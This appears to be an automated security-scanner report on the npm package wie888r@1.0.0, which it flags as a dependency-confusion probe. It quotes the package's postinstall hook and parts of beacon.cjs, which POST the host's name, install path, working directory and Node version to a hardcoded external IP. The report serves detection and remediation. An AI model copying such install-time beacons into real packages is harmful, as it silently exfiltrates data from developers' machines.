wie888r@1.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package performs automatic outbound transmission of host and project-location metadata during installation, with a second trigger on import. The fixed external recipient and lack of an opt-in support blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The postinstall hook runs during installation, or a consumer imports index.js.
Impact
An external recipient receives identifying host and project-location metadata without an evident opt-in.
Mechanism
beacon.cjs gathers the hostname, package install path, current working directory, and Node version, then sends them in an HTTP POST.
Attack narrative
During installation, the postinstall hook runs beacon.cjs, which transmits hostname, install path, current directory, and runtime version to a fixed external IP. Importing the package entrypoint also triggers the same beacon. This is unsolicited metadata exfiltration.
AI rationale
The package performs automatic outbound transmission of host and project-location metadata during installation, with a second trigger on import. The fixed external recipient and lack of an opt-in support blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs beacon.cjs.
- beacon.cjs sends package, hostname, install path, working directory, and runtime version to a fixed external IP.
- The beacon serializes the payload and sends it in an HTTP POST.
- Importing index.js also invokes the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs beacon.cjs.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "wie888r";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to wie888r@1.0.0.
See all versions of wie888r for other recorded verdicts.
- Avoid installing wie888r@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.